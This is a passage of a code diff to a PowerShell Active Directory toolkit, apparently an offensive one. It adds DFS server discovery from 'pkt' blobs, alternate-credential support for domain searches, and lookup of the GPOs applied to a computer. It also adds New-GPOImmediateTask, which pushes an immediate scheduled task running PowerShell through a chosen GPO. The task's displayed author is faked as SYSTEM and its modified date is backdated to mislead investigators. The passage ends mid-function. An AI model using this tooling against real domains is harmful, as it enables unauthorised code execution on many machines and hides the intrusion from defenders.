$dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + #write-host $reserved_blob_size + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + #write-host $target_count + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + #write-host $target_entry_size + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + #write-host $target_state + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + #write-host $target_type + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + #write-host $server_name_size + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + #write-host $server_name + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + #write-host $share_name + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $null + $blob_name = $null + $target_list = $null + } + + $servers = @() + $object_list | ForEach-Object { + #write-host $_.Name; + #write-host $_.TargetList + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split("\")[2] + } + } + } + + $servers + } + function Get-DFSshareV1 { [CmdletBinding()] param( @@ -4965,12 +5362,15 @@ function Get-DFSshare { [String] $ADSpath, - [ValidateRange(1,10000)] + [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($DFSsearcher) { $DFSshares = @() @@ -4980,6 +5380,7 @@ function Get-DFSshare { $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt $DFSshares += $RemoteNames | ForEach-Object { try { @@ -4992,9 +5393,22 @@ function Get-DFSshare { } } } + + if($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } } catch { - Write-Warning "Get-DFSshareV2 error : $_" + Write-Warning "Get-DFSshareV1 error : $_" } $DFSshares | Sort-Object -Property "RemoteServerName" } @@ -5014,10 +5428,13 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($DFSsearcher) { $DFSshares = @() @@ -5052,15 +5469,15 @@ function Get-DFSshare { } $DFSshares = @() - + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { - $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { - $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } - $DFSshares | Sort-Object -Property "RemoteServerName" + $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique } @@ -5130,42 +5547,38 @@ function Get-GptTmpl { $SectionsFinal = @{} try { + Write-Verbose "Parsing $GptTmplPath" - if(Test-Path $GptTmplPath) { - - Write-Verbose "Parsing $GptTmplPath" + Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object { + if ($_ -match '\[') { + # this signifies that we're starting a new section + $SectionName = $_.trim('[]') -replace ' ','' + } + elseif($_ -match '=') { + $Parts = $_.split('=') + $PropertyName = $Parts[0].trim() + $PropertyValues = $Parts[1].trim() - Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { - if ($_ -match '\[') { - # this signifies that we're starting a new section - $SectionName = $_.trim('[]') -replace ' ','' + if($PropertyValues -match ',') { + $PropertyValues = $PropertyValues.split(',') } - elseif($_ -match '=') { - $Parts = $_.split('=') - $PropertyName = $Parts[0].trim() - $PropertyValues = $Parts[1].trim() - - if($PropertyValues -match ',') { - $PropertyValues = $PropertyValues.split(',') - } - if(!$SectionsTemp[$SectionName]) { - $SectionsTemp.Add($SectionName, @{}) - } - - # add the parsed property into the relevant Section name - $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) + if(!$SectionsTemp[$SectionName]) { + $SectionsTemp.Add($SectionName, @{}) } - } - ForEach ($Section in $SectionsTemp.keys) { - # transform each nested hash table into a custom object - $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] + # add the parsed property into the relevant Section name + $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) } + } - # transform the parent hash table into a custom object - New-Object PSObject -Property $SectionsFinal + ForEach ($Section in $SectionsTemp.keys) { + # transform each nested hash table into a custom object + $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] } + + # transform the parent hash table into a custom object + New-Object PSObject -Property $SectionsFinal } catch { Write-Debug "Error parsing $GptTmplPath : $_" @@ -5175,7 +5588,7 @@ function Get-GptTmpl { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } @@ -5198,7 +5611,6 @@ function Get-GroupsXML { .PARAMETER UsePSDrive Switch. Mount the target groups.xml folder path as a temporary PSDrive. - #> [CmdletBinding()] @@ -5239,10 +5651,8 @@ function Get-GroupsXML { process { - # parse the Groups.xml file if it exists - if(Test-Path $GroupsXMLPath) { - - [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + try { + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { @@ -5308,18 +5718,20 @@ function Get-GroupsXML { } } } + catch { + Write-Debug "Error parsing $GptTmplPath : $_" + } } end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } - function Get-NetGPO { <# .SYNOPSIS @@ -5334,6 +5746,10 @@ function Get-NetGPO { The GPO display name to query for, wildcards accepted. + .PARAMETER ComputerName + + Return all GPO objects applied to a given computer (FQDN). + .PARAMETER Domain The domain to query for GPOs, defaults to the current domain. @@ -5351,6 +5767,11 @@ function Get-NetGPO { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGPO -Domain testlab.local @@ -5366,6 +5787,9 @@ function Get-NetGPO { [String] $DisplayName, + [String] + $ComputerName, + [String] $Domain, @@ -5377,54 +5801,154 @@ function Get-NetGPO { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + [Management.Automation.PSCredential] + $Credential ) begin { - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { if ($GPOSearcher) { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + + if($ComputerName) { + $GPONames = @() + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + } + + # get the given computer's OU + $ComputerOUs = @() + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $ComputerOUs += $DN.split(",") | ForEach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + + Write-Verbose "ComputerOUs: $ComputerOUs" + + # find all the GPOs linked to the computer's OU + ForEach($ComputerOU in $ComputerOUs) { + $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { + # get any GPO links + write-verbose "blah: $($_.name)" + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + + Write-Verbose "GPONames: $GPONames" + + # find any GPOs linked to the site for the given computer + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + } + + $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { + + # use the gplink as an ADS path to enumerate all GPOs for the computer + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member Noteproperty 'ComputerName' $ComputerName + $Out + } + } + catch { + Write-Warning $_ + } + } } + else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + catch { + Write-Warning $_ + } } } } } -function Get-NetGPOGroup { +function New-GPOImmediateTask { <# .SYNOPSIS - Returns all GPOs in a domain that set "Restricted Groups" - or use groups.xml on on target machines. + Builds an 'Immediate' schtask to push out through a specified GPO. - .PARAMETER GPOname + .PARAMETER TaskName - The GPO name to query for, wildcards accepted. + Name for the schtask to recreate. Required. - .PARAMETER DisplayName + .PARAMETER Command - The GPO display name to query for, wildcards accepted. + The command to execute with the task, defaults to 'powershell' - .PARAMETER ResolveSids + .PARAMETER CommandArguments - Switch. Resolve Sids from a DC policy to object names. + The arguments to supply to the -Command being launched. + + .PARAMETER TaskDescription + + An optional description for the task. + + .PARAMETER TaskAuthor + + The displayed author of the task, defaults to ''NT AUTHORITY\System' + + .PARAMETER TaskModifiedDate + + The displayed modified date for the task, defaults to 30 days ago. + + .PARAMETER GPOname + + The GPO name to build the task for. + + .PARAMETER GPODisplayName + + The GPO display name to build the task for. .PARAMETER Domain - The domain to query for GPOs, defaults to the current domain. + The domain to query for the GPOs, defaults to the current domain. .PARAMETER DomainController @@ -5435,98 +5959,308 @@ function Get-NetGPOGroup { The LDAP source to search through e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - .PARAMETER PageSize + .PARAMETER Credential - The PageSize to set for the LDAP searcher object. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target. - .PARAMETER UsePSDrive + .EXAMPLE - Switch. Mount any found policy files with temporary PSDrives. + PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force + + Create an immediate schtask that executes the specified PowerShell arguments and + push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. .EXAMPLE - PS C:\> Get-NetGPOGroup + PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force - Get all GPOs that set local groups on the current domain. + Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. #> - - [CmdletBinding()] + [CmdletBinding(DefaultParameterSetName = 'Create')] Param ( + [Parameter(ParameterSetName = 'Create', Mandatory = $True)] [String] - $GPOname = '*', + [ValidateNotNullOrEmpty()] + $TaskName, + [Parameter(ParameterSetName = 'Create')] [String] - $DisplayName, + [ValidateNotNullOrEmpty()] + $Command = 'powershell', - [Switch] - $ResolveSids, + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $CommandArguments, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskDescription = '', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskAuthor = 'NT AUTHORITY\System', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPOname, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPODisplayName, + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] [String] $Domain, + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] [String] $DomainController, - + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] [String] $ADSpath, + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] [Switch] - $UsePSDrive, + $Force, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Remove, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Management.Automation.PSCredential] + $Credential ) - # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { + # build the XML spec for our 'immediate' scheduled task + $TaskXML = '